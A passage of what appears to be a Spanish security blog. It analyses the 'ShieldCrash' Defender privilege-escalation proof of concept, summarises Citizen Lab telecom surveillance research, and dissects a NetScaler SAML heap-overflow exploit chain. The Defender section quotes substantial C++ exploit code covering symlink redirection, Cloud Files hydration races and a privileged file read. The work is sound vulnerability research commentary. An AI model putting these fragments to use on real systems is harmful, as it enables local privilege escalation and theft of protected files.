    std::wstring(mainguid);

ObjectSymlinkMgr* shlnk =
    new ObjectSymlinkMgr(
        (wchar_t*)shlnkpath.c_str(),
        (wchar_t*)shlnktarget.c_str(),
        shadowdir->GetHandle());

Y crea una segunda variante del enlace bajo el directorio objetivo, esta vez con un destino que pasa por CLFS:

std::wstring mnlnktarget =
    L"\\CLFS\\??\\UNC\\localhost\\C$\\ShieldCrash_" +
    std::wstring(mainguid);

ObjectSymlinkMgr* mnlnk =
    new ObjectSymlinkMgr(
        (wchar_t*)shlnkpath.c_str(),
        (wchar_t*)mnlnktarget.c_str(),
        targetdir->GetHandle());

El resultado es que la ruta que Defender recibe como objetivo de análisis no es una ruta convencional. La PoC utiliza globalroot para acceder al namespace de Object Manager:

std::wstring scan_path =
    L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_" +
    std::wstring(mainguid) +
    L"\\WD_SCAN\\BERN";

Ese WD_SCAN es precisamente el punto donde ShieldCrash vuelve a jugar con la diferencia entre nombre lógico y objeto real. Defender recibe una referencia que parece formar parte de su propio namespace de objetos, mientras que la resolución final puede terminar atravesando el enlace construido por el atacante. La técnica recuerda directamente a ShieldBreak porque la primitiva sigue siendo una manipulación de la identidad del objeto que Defender cree estar procesando.

Después viene una de las partes más interesantes: la PoC primero provoca que Cloud Files proporcione el contenido del placeholder y, a continuación, desencadena el análisis de Defender. Abre el fichero mediante CfOpenFileWithOplock y llama a CfHydratePlaceholder:

HRESULT hres2 =
    CfOpenFileWithOplock(
        malfilepath.c_str(),
        CF_OPEN_FILE_FLAG_FOREGROUND,
        &hsp);

LARGE_INTEGER li2 = { 0 };
li2.QuadPart = dwSize_zip;

hres2 = CfHydratePlaceholder(
    hsp,
    { 0 },
    li2,
    CF_HYDRATE_FLAG_NONE,
    NULL);

El uso del oplock aquí es significativo porque permite sincronizar el comportamiento del objeto Cloud Files con el resto de la cadena. Inmediatamente después la PoC obtiene un CF_TRANSFER_KEY y lanza el análisis de Defender en otro hilo:

CF_TRANSFER_KEY cftranskey = { 0 };
CfGetTransferKey(hzip, &cftranskey);

HANDLE hthread =
    CreateThread(
        NULL,
        NULL,
        WDStartScan,
        NULL,
        NULL,
        &tid);

Mientras tanto, el proceso monitoriza cambios en el filesystem mediante ReadDirectoryChangesW. No está esperando simplemente a que el antivirus termine; está esperando acontecimientos concretos producidos durante el procesamiento para saber cuándo puede modificar de nuevo la cadena de resolución.

Y aquí aparece una de las diferencias más interesantes respecto a la primera versión de ShieldBreak. Cuando detecta el fichero temporal creado durante el procesamiento, elimina el enlace anterior y crea otro apuntando a una segunda ubicación:

mnlnktarget =
    L"\\??\\UNC\\localhost\\C$\\ShieldCrash_" +
    std::wstring(mainguid) +
    L"_2";

shlnk = new ObjectSymlinkMgr(
    (wchar_t*)shlnkpath.c_str(),
    (wchar_t*)mnlnktarget.c_str(),
    shadowdir->GetHandle());

La carrera ya no consiste simplemente en cambiar un fichero. Lo que se está modificando es el objeto que resuelve una referencia utilizada dentro de la cadena privilegiada de Defender. Además, la PoC crea un segundo directorio y espera nuevamente a eventos generados durante el procesamiento de CLFS.

Finalmente llega la parte que permite convertir toda esta maquinaria en la primitiva declarada por ShieldCrash. El argumento original del programa, es decir, el fichero que queremos leer, termina utilizado como destino de un symbolic link dentro de \BaseNamedObjects\Restricted:

auto shlnk2 =
    new ObjectSymlinkMgr(
        (wchar_t*)L"\\BaseNamedObjects\\Restricted\\BERN:stream",
        symlinkftarget.Buffer,
        NULL);

Aquí está probablemente el punto conceptual más importante de ShieldCrash. symlinkftarget procede directamente del primer argumento de la PoC, mientras que el objeto BERN:stream se encuentra dentro del namespace utilizado durante la cadena de procesamiento. Si el flujo privilegiado de Defender termina abriendo ese objeto bajo SYSTEM, la resolución acaba apuntando al fichero seleccionado originalmente por el atacante. La primitiva resultante es, por tanto, una lectura privilegiada por delegación, no una lectura que el proceso atacante pueda realizar directamente.

La PoC termina recuperando el contenido mediante una segunda operación de mapeo. Abre el fichero resultante, obtiene su tamaño y crea dos secciones: una de lectura sobre el objeto obtenido y otra de lectura/escritura sobre un fichero creado por la PoC:

HANDLE hnewsec =
    CreateFileMapping(
        hnewfile3,
        NULL,
        PAGE_READWRITE,
        lif.HighPart,
        lif.LowPart,
        NULL);

HANDLE holdsec =
    CreateFileMapping(
        htempmv,
        NULL,
        PAGE_READONLY,
        lif.HighPart,
        lif.LowPart,
        NULL);

Después mapea ambas secciones y copia el contenido:

void* buffog =
    MapViewOfFile(
        holdsec,
        FILE_MAP_READ,
        0, 0,
        lif.QuadPart);

void* bufftarget =
    MapViewOfFile(
        hnewsec,
        FILE_MAP_READ | FILE_MAP_WRITE,
        0, 0,
        lif.QuadPart);

memmove(
    bufftarget,
    buffog,
    lif.QuadPart);

FlushViewOfFile(
    bufftarget,
    lif.QuadPart);

Es una forma bastante limpia de demostrar que la operación ha cruzado la frontera de privilegios: el atacante proporciona el path, Defender participa en la resolución privilegiada del objeto y el resultado acaba disponible para el proceso que ejecuta la PoC. El código no necesita todavía convertir esa lectura en una escritura arbitraria ni en ejecución de código. La lectura privilegiada ya demuestra que la corrección aplicada después de ShieldBreak no ha eliminado completamente la primitiva subyacente.

Por eso ShieldCrash merece tratarse como algo más que un “ShieldBreak 2”. El propio autor afirma que Microsoft corrigió varias partes del exploit original pero dejó un punto donde todavía puede reutilizarse la cadena. Y el código proporciona indicios bastante concretos de dónde está buscando: vuelve a registrar un proveedor Cloud Files, crea placeholders, utiliza hydration y oplocks, construye namespaces restringidos de Object Manager, manipula WD_SCAN, coordina los cambios con ReadDirectoryChangesW y finalmente introduce el path arbitrario suministrado por el atacante en un symbolic link que será resuelto dentro del flujo privilegiado.

Todavía hay que ser prudentes con lo que podemos concluir. El repositorio tiene código real y permite estudiar la primitiva, pero el propio investigador lo define como un skeleton PoC y no publica todavía una cadena completa de SYSTEM. No sabemos, por tanto, si convertir esa lectura arbitraria en una elevación fiable resulta trivial, ni si la primitiva sobrevivirá a futuras actualizaciones. Lo que sí demuestra ya ShieldCrash es algo suficientemente incómodo: después de parchear ShieldBreak, el mismo modelo de confianza de Defender continúa ofreciendo una ruta en la que un usuario de baja integridad puede influir sobre qué objeto termina procesando un componente privilegiado.

Y esa es probablemente la parte más interesante de toda la saga. Microsoft puede corregir el punto exacto utilizado por ShieldBreak, pero mientras Defender siga aceptando referencias provenientes de subsistemas tan complejos como Cloud Files, CLFS y Object Manager, el problema no desaparece necesariamente; simplemente cambia de sitio. ShieldCrash no necesita todavía ser una RCE para resultar relevante: una lectura arbitraria como SYSTEM demuestra que la frontera entre “el objeto que el usuario proporciona” y “el objeto que SYSTEM termina procesando” todavía puede romperse.

Conclusiones

La cronología es bastante reveladora. Microsoft publicó el fix de RoguePlanet con Defender Engine 1.1.26060.3008 el 30 de junio. En agosto apareció ShieldBreak y Microsoft le asignó CVE-2026-69414. Finalmente, Microsoft publicó el motor 1.1.26080.3 el 1 de septiembre de 2026, y las notas oficiales identifican esa versión junto con la plataforma 4.18.26080.3. Una semana después aparece ShieldCrash afirmando precisamente que el parche de ShieldBreak dejó una superficie residual.

Esto es probablemente lo más interesante de toda la historia. No estamos viendo simplemente tres CVE consecutivos en Defender; estamos viendo una especie de patch diffing conceptual realizado sobre una superficie extremadamente compleja. RoguePlanet demuestra que el modelo de confianza puede romperse mediante una condición de carrera. Microsoft corrige esa implementación. ShieldBreak cambia completamente de primitiva y demuestra que todavía existe una ruta para convertir operaciones privilegiadas de Defender en una primitiva de escritura. Microsoft vuelve a parchear. ShieldCrash aparece inmediatamente después buscando aquello que quedó fuera del parche.

Desde el punto de vista de un atacante local, Defender resulta especialmente atractivo porque ofrece exactamente lo que una vulnerabilidad de EoP necesita: privilegios muy altos, una enorme superficie de entrada y operaciones sobre objetos que un usuario normal no podría modificar directamente. El motor tiene que abrir archivos, seguir referencias, inspeccionar contenido, interactuar con almacenamiento local y remoto, descargar componentes, realizar remediaciones y mantener estado. Cada una de esas operaciones introduce fronteras de confianza.

Y precisamente por eso el patrón que dejan RoguePlanet y ShieldBreak es más interesante que cualquiera de las técnicas individuales utilizadas por las PoC. La pregunta no es “¿puedo conseguir que Defender ejecute mi código?”, sino “¿puedo conseguir que Defender ejecute correctamente una operación legítima cuyo resultado, desde mi perspectiva, equivale a una primitiva privilegiada?”.

Ese cambio de mentalidad es importante también para analizar otros productos de seguridad. Antivirus, EDR, DLP, backup agents, indexadores, software de gestión y cualquier servicio que ejecute como SYSTEM y procese datos controlados por usuarios forman una categoría especialmente atractiva para EoP. Cuanto más complejo sea el pipeline, más difícil resulta garantizar que la identidad del objeto validado al principio de una operación coincide con la identidad del objeto utilizado al final.

En ShieldBreak se ve de forma casi didáctica: el atacante no necesita tener permisos para escribir en System32; necesita encontrar una cadena en la que un componente que sí los tiene termine haciendo esa escritura. La primitiva de seguridad se convierte entonces en la primitiva de explotación.

Por eso la evolución RoguePlanet → ShieldBreak → ShieldCrash merece seguirse como una única historia. RoguePlanet demuestra que Defender puede convertirse en un confused deputy explotable. ShieldBreak demuestra que el problema no desaparece simplemente corrigiendo la condición de carrera original y que existen caminos mucho más profundos a través de Cloud Files, CLFS y Object Manager. ShieldCrash, todavía mucho más preliminar, plantea la posibilidad de que incluso después de cerrar esa segunda cadena permanezcan operaciones privilegiadas reutilizables.

La conclusión para un atacante local es bastante incómoda para Microsoft: no necesitas atacar directamente el mecanismo que protege SYSTEM si puedes atacar el mecanismo que SYSTEM utiliza para protegerte. Y para un investigador de Windows internals, quizá esa sea precisamente la parte más interesante de toda esta saga.

Ghost Operators: cuando la red móvil se convierte en una plataforma de vigilancia

2026-08-26T01:21:42.153+02:00

Hay ataques que empiezan con un phishing, otros con un exploit contra un servidor expuesto y otros con el compromiso de un endpoint. Pero existe otra categoría mucho más difícil de percibir: aquellos en los que el atacante no necesita comprometer nuestro ordenador ni nuestro teléfono. Le basta con conseguir que la infraestructura que conecta nuestra red móvil con el resto del mundo crea que quien está haciendo la petición es alguien en quien puede confiar.

Ese es el escenario que describe Citizen Lab en su investigación “Bad Connection: Uncovering Global Telecom Exploitation by Covert Surveillance Actors”, publicada en abril de 2026. El estudio analiza dos campañas de vigilancia y reconstruye cómo determinados actores utilizaron SS7, Diameter, identidades de operadores legítimos y proveedores de interconexión para intentar localizar objetivos concretos.

Lo interesante no es que SS7 tenga problemas de seguridad, algo conocido desde hace años. Lo realmente interesante es cómo esas debilidades se integran en operaciones sofisticadas donde el atacante cambia de protocolo, identidad y ruta para encontrar un camino que todavía funcione.

No estamos ante el típico exploit → shell. Estamos ante algo más sutil: el abuso de una infraestructura que ya confía en nosotros.

Una red invisible sobre la red

Cuando hacemos una llamada, enviamos un SMS o viajamos al extranjero, nuestro teléfono desencadena una enorme cantidad de intercambio de información entre operadores. La infraestructura de señalización permite autenticar abonados, gestionar roaming, conocer su localización y enrutar comunicaciones.

Durante décadas, una parte fundamental se construyó sobre SS7 (Signalling System No. 7) y protocolos como MAP. Con 4G apareció Diameter, que continúa desempeñando un papel importante en el roaming y el core móvil.

Aunque Diameter introdujo mecanismos de seguridad más modernos, las redes siguen necesitando relaciones de confianza entre operadores y proveedores de interconexión.

Cuando un atacante consigue utilizar una identidad que el resto de la infraestructura considera legítima, puede no necesitar explotar una vulnerabilidad convencional. Puede simplemente utilizar una funcionalidad legítima para realizar una operación que nunca debería haber podido realizar.

Es, en cierto modo, un Living off the Land de las telecomunicaciones.

Y una de las cosas que puede preguntarse a esa infraestructura es:

¿Dónde está este abonado?

STA1: cuatro horas persiguiendo a un objetivo

La primera campaña investigada por Citizen Lab recibe el nombre de Surveillance Threat Actor 1 (STA1).

El 25 de noviembre de 2024, los investigadores observaron una secuencia de mensajes de señalización dirigidos contra un abonado de un operador de Oriente Medio, posteriormente identificado como un abonado VVIP.

Durante aproximadamente cuatro horas, el atacante fue cambiando de protocolo e identidad mientras intentaba atravesar las defensas: primero SS7, después Diameter, de nuevo SS7 y finalmente Diameter.

Citizen Lab identificó 11 identidades de operadores pertenecientes a nueve países diferentes.

Entre las operaciones observadas aparecen mecanismos clásicos de localización mediante SS7, como Provide Subscriber Information (PSI) y AnyTimeInterrogation (ATI). Dependiendo de la configuración de la red, estas operaciones pueden proporcionar información relacionada con el abonado y su localización.

El atacante no necesita ejecutar código en el teléfono ni explotar Android o iOS. Necesita conseguir que una red responda a una consulta que, en circunstancias normales, solo debería poder realizar un operador autorizado.

Por eso resulta más apropiado hablar de abuso de confianza que de explotación convencional.

El protocolo puede funcionar perfectamente.

El problema es que quien está haciendo la pregunta no debería poder hacerla.

Diameter: cuando la identidad también puede ser un arma

Después de varios intentos mediante SS7, STA1 comenzó a utilizar Diameter. Citizen Lab observó mensajes Insert-Subscriber-Data-Request (IDR) procedentes de diferentes infraestructuras antes de que el actor regresara nuevamente a SS7.

Uno de los detalles más interesantes es la manipulación de campos como Origin-Host, Origin-Realm y Route-Record.

Estos valores permiten identificar el origen de un mensaje y seguir parte de su recorrido. Sin embargo, Citizen Lab observó combinaciones inconsistentes entre Origin-Host y Origin-Realm, aparentemente utilizadas para presentar el tráfico como procedente de otro operador y conseguir una ruta alternativa hacia el objetivo.

No estamos necesariamente ante una vulnerabilidad que termine en RCE. El protocolo puede estar funcionando como fue diseñado.

El atacante está explotando algo mucho más difícil de parchear:

la confianza depositada en los metadatos que identifican al emisor.

Además, las anomalías encontradas en Route-Record proporcionan indicios de manipulación del camino. La conclusión es importante: la propia topología de interconexión forma parte de la superficie de ataque.

IPX: el Internet de las operadoras

Los operadores utilizan proveedores IPX (IP Exchange) para transportar tráfico entre redes, incluida la señalización de roaming. Esto introduce intermediarios adicionales en la cadena de confianza.

Citizen Lab identificó diferentes proveedores IPX en los caminos observados, entre ellos BICS, Comfone y Syniverse.

Desde el punto de vista de seguridad, no basta con saber qué operadores están autorizados. También hay que conocer qué infraestructura y qué rutas deberían utilizar.

Un mensaje aparentemente legítimo puede resultar sospechoso si aparece desde una ruta que no coincide con las relaciones de interconexión conocidas.

La pregunta deja de ser simplemente “¿quién está enviando esto?” y pasa a ser: ¿Quién está autorizado a realizar esta petición, desde dónde y por qué camino?

El fingerprint del atacante

Aunque el atacante utilice identidades legítimas, no significa que sea invisible.

Citizen Lab encontró patrones en los Transaction Identifiers de SS7 que permitían relacionar consultas aparentemente procedentes de redes distintas. También identificó estructuras particulares en los Session-ID de Diameter.

Uno de los detalles más llamativos aparece en STA2, donde el IMSI del objetivo estaba embebido directamente dentro del Session-ID.

Es un buen ejemplo del valor del threat hunting. Un atacante puede cambiar de IP, operador o ruta, pero resulta mucho más difícil cambiar simultáneamente la forma en que su plataforma genera identificadores y construye mensajes.

Los errores de implementación terminan convirtiéndose en una especie de firma de la herramienta de vigilancia.

STA2: cuando la SIM se convierte en el espía

La segunda campaña, STA2, introduce otro vector: la propia SIM.

La técnica está relacionada con SIMjacker, conocida desde 2019. En determinadas SIM que soportan S@T Browser, es posible enviar comandos mediante SMS especialmente construidos para que sean procesados por la tarjeta.

El atacante envía un SMS binario y la SIM puede interpretar determinados comandos, entre ellos algunos capaces de obtener información de localización.

Citizen Lab observó mensajes compatibles con este mecanismo, incluyendo TP-PID = 127, TP-DCS = 0x16 y estructuras TLV en el payload.

La consecuencia es especialmente inquietante: la SIM puede convertirse en un sensor remoto de localización sin necesidad de instalar spyware convencional en el teléfono.

Y la escala resulta todavía más llamativa: Citizen Lab identificó más de 15.700 intentos de localización, con actividad que se remonta al menos a octubre de 2022.

STA2 combinaba SS7, SMS maliciosos y Diameter. Cuando un mecanismo fallaba, había otro disponible.

No parece una simple prueba de concepto, sino una capacidad operacional mantenida durante años.

El verdadero exploit es la confianza

Después de analizar ambas campañas, resulta demasiado sencillo concluir que el problema es simplemente que SS7 es inseguro.

El problema real es más profundo.

Las redes móviles fueron diseñadas alrededor de un modelo de confianza entre operadores. Ese modelo era necesario para que el roaming funcionase a escala global, pero el ecosistema actual es mucho más complejo: operadores virtuales, proveedores IPX, intermediarios, acuerdos de roaming y empresas especializadas en vigilancia.

La cadena de confianza se ha hecho enorme.

Desde esta perspectiva, el ataque recuerda a un supply-chain attack aplicado al plano de señalización. El atacante no tiene por qué romper directamente la infraestructura del objetivo. Puede utilizar un elemento de la cadena que ya tenga autorización para llegar hasta ella.

¿Cómo detectar a un Ghost Operator?

La defensa no consiste simplemente en instalar un parche.

Los signalling firewalls deben aplicar políticas restrictivas sobre las operaciones de localización, autenticación y modificación de información de abonados. Pero filtrar únicamente por IP u operador no es suficiente.

Los equipos de seguridad deberían correlacionar Origin-Host, Origin-Realm, MCC/MNC, peer de interconexión y ruta esperada. También resulta especialmente sospechoso un mismo IMSI recibiendo consultas desde múltiples operadores en poco tiempo, cambios rápidos entre SS7 y Diameter, Session-ID anómalos, Route-Record inesperados o SMS binarios dirigidos a la SIM.

El principio es el mismo que aplicamos al detectar una infraestructura C2. No buscamos únicamente una dirección IP. Buscamos el comportamiento de la herramienta.

Ghost Operators

Quizá esa sea la principal lección de Bad Connection.

Las campañas descritas por Citizen Lab representan una versión de Living off the Land y supply-chain attack aplicada al mundo de las telecomunicaciones. El atacante no necesariamente trae su propia infraestructura. Utiliza la nuestra. No necesita necesariamente comprometer nuestro teléfono. Utiliza las funciones de nuestra red. No necesita necesariamente atravesar un firewall mediante un exploit. Busca un camino que ya esté permitido.

Y por eso el problema no es únicamente que SS7 sea antiguo o que Diameter pueda ser manipulado. El problema es que hemos construido una red global en la que una parte importante de la seguridad depende de saber quién está autorizado a preguntar.

Cuando un atacante consigue hacerse pasar por quien tiene permiso para preguntar, la pregunta más peligrosa deja de ser “¿cómo explotó el sistema?”.

Pasa a ser otra: ¿Quién le enseñó que podía entrar?

La investigación completa puede consultarse en Bad Connection: Uncovering Global Telecom Exploitation by Covert Surveillance Actors, publicada por Citizen Lab. Leer la investigación de Citizen Lab

CVE-2026-8452: diseccionando el Pre-Auth RCE de NetScaler que convirtió un heap overflow en un write-what-where

2026-08-18T08:48:06.860+02:00

Hay vulnerabilidades que empiezan con un simple memcpy() demasiado confiado y terminan con alguien teniendo control de RIP en uno de los appliances que hacen de puerta de entrada a una red corporativa. CVE-2026-8452 es un buen ejemplo.

Oficialmente, Citrix describe el problema como una vulnerabilidad de tipo memory overflow que puede provocar comportamiento impredecible, errores o denegación de servicio. La condición de explotación publicada por el fabricante requiere que NetScaler ADC o NetScaler Gateway esté configurado como Gateway —SSL VPN, ICA Proxy, CVPN o RDP Proxy— o como AAA virtual server. Citrix le asigna CWE-119 y una puntuación CVSS v4 de 8.8.

Pero la parte realmente interesante aparece cuando dejamos de mirar el CVE como una entrada de una base de datos de vulnerabilidades y empezamos a analizarlo como lo haría un exploit developer. Porque la pregunta deja de ser: ¿Dónde está el buffer overflow? y pasa a ser: ¿Qué primitive puedo construir a partir de ese overflow?

La investigación publicada por watchTowr es especialmente interesante precisamente por eso: no se queda en demostrar que el proceso se cae, sino que reconstruye cómo una corrupción de memoria puede transformarse en una primitiva de escritura arbitraria, después en control del flujo de ejecución y finalmente en ejecución de código.

Y ahí es donde CVE-2026-8452 se convierte en un magnífico caso práctico de exploit development sobre un appliance de red.

Antes de empezar: una pequeña precisión sobre CVE-2026-8452

Hay una cierta peculiaridad en la atribución de esta vulnerabilidad. El advisory de Citrix agrupa varias vulnerabilidades de NetScaler y acredita en conjunto a Michael Tucker, del XOR team de JPMorgan Chase, Aliz Hammond de watchTowr y Maxim Suhanov. Citrix no asigna públicamente cada CVE a cada investigador.

Por eso, cuando watchTowr reconstruye la vulnerabilidad mediante patch diffing, la identificación concreta de CVE-2026-8452 debe entenderse en el contexto de esa investigación.

Es un detalle menor, pero importante cuando hablamos de vulnerability research: una cosa es lo que dice explícitamente el fabricante y otra la reconstrucción técnica que hacemos a partir del parche y del comportamiento del software.

1. El camino hasta el heap overflow

La historia comienza en un lugar bastante poco sospechoso: SAML.

SAML utiliza XML y, como cualquier protocolo basado en XML que incorpore firmas digitales, tiene que resolver un problema fundamental: dos documentos XML que representan la misma estructura lógica pueden tener representaciones textuales diferentes.

Por ejemplo, estas dos estructuras pueden ser equivalentes desde el punto de vista XML aunque su representación textual no sea idéntica:

<data id="123" type="example">
    Hello
</data>

<data type="example" id="123">Hello</data>

Para poder firmar y verificar XML de forma determinista existe la canonicalización.

El problema aparece cuando el resultado de esa canonicalización acaba siendo considerablemente más grande que el buffer que el código espera recibir. Como veis la secuencia conceptual es sencilla:

El bug no está en que SAML tenga firmas. Tampoco en que XML tenga canonicalización. El problema está en asumir que el resultado de esa transformación cabe siempre en un espacio de memoria determinado. Y esa es una de las reglas más antiguas de la explotación de memoria: si el tamaño de los datos está controlado por el atacante, el tamaño del destino tiene que estar controlado por el programa.

2. ¿Qué demonios hace realmente la canonicalización XML?

Para entender el bug hay que detenerse un momento aquí. Una firma XML no se calcula directamente sobre el XML tal y como aparece en el documento. Antes hay que obtener una representación canónica.

Primero tenemos el XML original. Después se aplica el algoritmo de canonicalización, normalmente conocido como C14N. El resultado es una representación determinista del documento o de la parte del documento que se está firmando.

A continuación se calcula un digest criptográfico de esa representación y se utiliza durante la verificación de la firma. El proceso, simplificando mucho, sería conceptualmente:

Esto tiene una consecuencia importante para nuestra vulnerabilidad: la canonicalización puede transformar una entrada relativamente compacta en una representación mucho mayor.

Y si una parte de esa representación está influenciada por el atacante, tenemos exactamente el tipo de situación que interesa a un investigador de corrupción de memoria.

3. El parche es probablemente la pista más importante

Cuando el código fuente no está disponible, una de las herramientas más potentes que tenemos es el patch diffing.

En lugar de intentar comprender un binario gigantesco desde cero, comparamos:

versión vulnerable
        +
versión parcheada
        ↓
funciones modificadas

La idea es sencilla.

Si un fabricante corrige una vulnerabilidad añadiendo una comprobación de tamaño antes de un memcpy(), probablemente acabamos de encontrar la huella del bug.

watchTowr utilizó precisamente este enfoque sobre nsppe, el packet-processing engine de NetScaler.

La comparación redujo el universo de investigación a un conjunto mucho más pequeño de funciones modificadas y permitió localizar cambios relacionados con el procesamiento SAML.

Uno de los cambios relevantes consistía precisamente en introducir comprobaciones de tamaño antes de copiar datos asociados a SignedInfo. Conceptualmente, la diferencia es:

No hay que interpretar ese código como el código fuente literal de NetScaler, sino como una representación conceptual del cambio de seguridad. Y aquí aparece una de las técnicas que más me gustan del reverse engineering de vulnerabilidades: buscar qué condición nueva ha tenido que introducir el fabricante para que el bug desaparezca.

Muchas veces el parche explica el bug mejor que el propio advisory.

4. PrefixList: el pequeño detalle que permite controlar el overflow

Dentro de SignedInfo aparece otro elemento interesante relacionado con la canonicalización: PrefixList.

Este atributo permite especificar una lista de prefijos y, desde el punto de vista de un atacante, tiene una característica especialmente interesante: puede contener una cantidad considerable de información controlada por el usuario.

Esto resulta perfecto para estudiar el comportamiento del heap.

En lugar de enviar simplemente una cadena enorme formada por:

AAAA AAAA AAAA AAAA AAAA...

podemos utilizar valores identificables:

Esto parece una tontería, pero en reversing es extremadamente útil.

Si posteriormente encontramos en memoria:

N0000124

sabemos inmediatamente qué parte de nuestro input ha llegado hasta ese punto.

Es decir, estamos convirtiendo el payload en una especie de cinta métrica. En vez de preguntar: ¿Qué bytes estoy controlando? podemos preguntar: ¿Qué offset de mi input está controlando este campo?

Y esa información es fundamental para reconstruir la geometría del heap.

5. Del overflow a la corrupción de otro objeto

Aquí empieza la parte realmente interesante.

El resultado de la canonicalización termina almacenándose en estructuras utilizadas por NetScaler para manejar buffers de red.

El overflow no tiene por qué destruir inmediatamente el proceso. Puede continuar escribiendo más allá del límite del buffer y empezar a sobrescribir información perteneciente al siguiente objeto que se encuentre en memoria.

Conceptualmente podemos imaginar algo así. La diferencia entre un crash y una explotación fiable empieza precisamente aquí. No nos interesa únicamente poder escribir fuera del buffer. Nos interesa saber qué estructura estamos sobrescribiendo. Y, todavía más importante: qué campos de esa estructura son utilizados posteriormente por el programa.

Si conseguimos sobrescribir un campo que posteriormente se interpreta como un puntero, acabamos de transformar una corrupción genérica en una primitive mucho más interesante.

6. El salto importante: write-what-where

Y aquí aparece una de las expresiones mágicas del exploit development: write-what-where.

La idea es muy sencilla:

WHAT  = datos que queremos escribir

WHERE = dirección donde queremos escribir

Si conseguimos controlar ambos elementos, tenemos una primitiva de escritura arbitraria.

En este caso, el objeto corrupto contiene información utilizada posteriormente durante operaciones de copia.

Conceptualmente:

memcpy(
    destination->data,
    source->data,
    length
);

Si podemos manipular:

source->data
destination->data

entonces podemos transformar una operación aparentemente inocente de copia de datos en una escritura controlada por el atacante.

El paso conceptual es:

heap overflow
      ↓
corrupt object
      ↓
corrupt pointer
      ↓
memcpy()
      ↓
write-what-where

Y éste es probablemente el momento más importante de toda la explotación. Porque ya no estamos ante: "Tengo un heap overflow." Ahora tenemos: "Tengo una primitive que potencialmente me permite escribir en una dirección elegida."

Eso cambia completamente las posibilidades.

7. Encontrando algo útil que sobrescribir

Una primitive de escritura arbitraria no sirve de mucho si no tenemos un objetivo interesante.

Así que el siguiente paso consiste en buscar dentro del proceso estructuras que contengan punteros de función o datos que puedan convertirse en control de flujo.

En la investigación de watchTowr aparece un candidato especialmente interesante: tx_pkt_complete_fptr. El nombre ya da una pista bastante buena.

Estamos ante un function pointer utilizado durante el procesamiento de paquetes.

En el camino de ejecución aparece una secuencia conceptualmente similar a:

mov rax, [tx_pkt_complete_fptr]
pop rbp
jmp rax

Para un exploit developer esto es casi perfecto.

Si conseguimos convertir:

tx_pkt_complete_fptr

en:

0x4141414141414141

y posteriormente el proceso intenta hacer:

jmp rax

el flujo de ejecución pasa a estar bajo nuestro control.

La cadena se convierte en:

Y acabamos de superar una de las barreras fundamentales de una explotación de memoria: hemos pasado de controlar datos a controlar ejecución.

8. Controlar RIP no significa automáticamente tener una shell

Aquí hay otro detalle que muchas veces se pierde cuando se habla de vulnerabilidades como ésta.

Controlar RIP no significa necesariamente que tengamos inmediatamente una shell funcional.

Todavía tenemos que resolver cuestiones como:

¿Dónde colocamos nuestro código?
¿Es ejecutable esa memoria?
¿Tenemos NX/DEP?
¿Podemos utilizar ROP?
¿Qué registros controlamos?
¿Qué estado tiene el proceso?
¿Qué ocurre después de ejecutar nuestro código?
¿El proceso va a seguir funcionando?

En la investigación de NetScaler, el entorno de ejecución presenta condiciones especialmente favorables para continuar la explotación.

El objetivo final pasa a ser ejecutar código dentro del proceso comprometido. Pero aquí aparece un nuevo enemigo.

nsppe.

El problema de matar al proceso que acabas de comprometer

Imaginemos que hemos conseguido ejecutar código. Perfecto. Ahora hacemos algo aparentemente trivial: crear archivo o ejecutar una acción y el proceso termina cayéndose.

En un servidor normal quizá tengamos tiempo para establecer una conexión posterior. En un appliance como NetScaler la situación es diferente.

Existe un mecanismo supervisor que detecta determinados fallos del proceso y puede iniciar su recuperación.

Aquí entra en juego pitboss.

La secuencia conceptual es:

Y eso plantea un problema de explotación bastante interesante:

¿Cómo conseguimos que nuestro proceso comprometido sobreviva el tiempo suficiente para hacer algo útil?

Esto nos lleva a un concepto que me parece especialmente interesante para entender la diferencia entre un PoC y un exploit real:

process continuity.

No basta con: RCE → ejecutar código. Un exploit fiable muchas veces necesita:

RCE
 ↓
hacer lo que necesitamos
 ↓
reparar el estado corrupto
 ↓
mantener vivo el proceso
 ↓
continuar la ejecución normal

Esto es especialmente importante en software de infraestructura.

Si acabamos de comprometer el proceso principal de un VPN gateway, un crash puede ser precisamente lo contrario de lo que queremos.

Podemos conseguir ejecución de código y, al mismo tiempo, provocar una interrupción de servicio que haga saltar todas las alarmas.

La explotación perfecta es aquella que consigue el objetivo sin destruir el componente que acabamos de comprometer.

9. Señales y el mecanismo de recuperación

En este punto aparece otra parte interesante de la ingeniería del exploit.

nsppe utiliza handlers para determinadas señales relacionadas con errores graves del proceso. Entre ellas aparecen señales como:

SIGSEGV
SIGBUS
SIGABRT

Cuando se produce una de estas condiciones, el proceso puede ejecutar su camino de error y comunicar el problema al mecanismo de supervisión.

La idea investigada por watchTowr consiste en modificar el comportamiento de determinados handlers para evitar que el proceso siga inmediatamente la ruta normal de recuperación.

Conceptualmente:

Esto no es simplemente una técnica para conseguir RCE. Es una técnica para intentar resolver el problema que viene después del RCE: mantener el proceso bajo control. Y esa distinción es fundamental.

10. La cadena completa

Si juntamos todos los pasos, la explotación deja de parecer una única vulnerabilidad y empieza a parecer una cadena de pequeñas primitives. El recorrido conceptual es:

Y ésta es precisamente la parte que me parece más interesante del análisis.

Ninguno de los pasos, considerado aisladamente, parece especialmente espectacular.

Tenemos un parser.
Tenemos un buffer.
Tenemos un overflow.
Tenemos un objeto adyacente.
Tenemos un puntero.
Tenemos un memcpy().
Tenemos un function pointer.
Tenemos un jmp.
Y tenemos un mecanismo supervisor.

El trabajo del exploit developer consiste en conectar todas esas piezas.

El verdadero valor del patch diffing

Hay una lección bastante más general detrás de este caso.

Cuando un fabricante publica: "Memory overflow vulnerability" nos está diciendo muy poco.

Pero cuando conseguimos:

versión vulnerable
        ↓
versión parcheada
        ↓
binary diff
        ↓
funciones modificadas
        ↓
nuevos checks
        ↓
root cause

la situación cambia radicalmente.

El parche se convierte en una especie de mapa inverso de la vulnerabilidad. En particular, las comprobaciones nuevas alrededor de operaciones como:

memcpy()
memmove()
strcpy()
serialization
deserialization

merecen una atención especial.

No significa que cada if (length > ...) esconda un CVE.

Pero cuando aparece una comprobación de tamaño nueva exactamente en el camino que procesa datos controlados por el usuario, tenemos una pista excelente.

Otra lección: el crash es solamente el principio

Una de las cosas que más me gusta de esta investigación es que muestra una progresión muy clara:

Crash
  ↓
Memory corruption
  ↓
Controlled corruption
  ↓
Primitive
  ↓
Arbitrary write
  ↓
Control flow
  ↓
Code execution

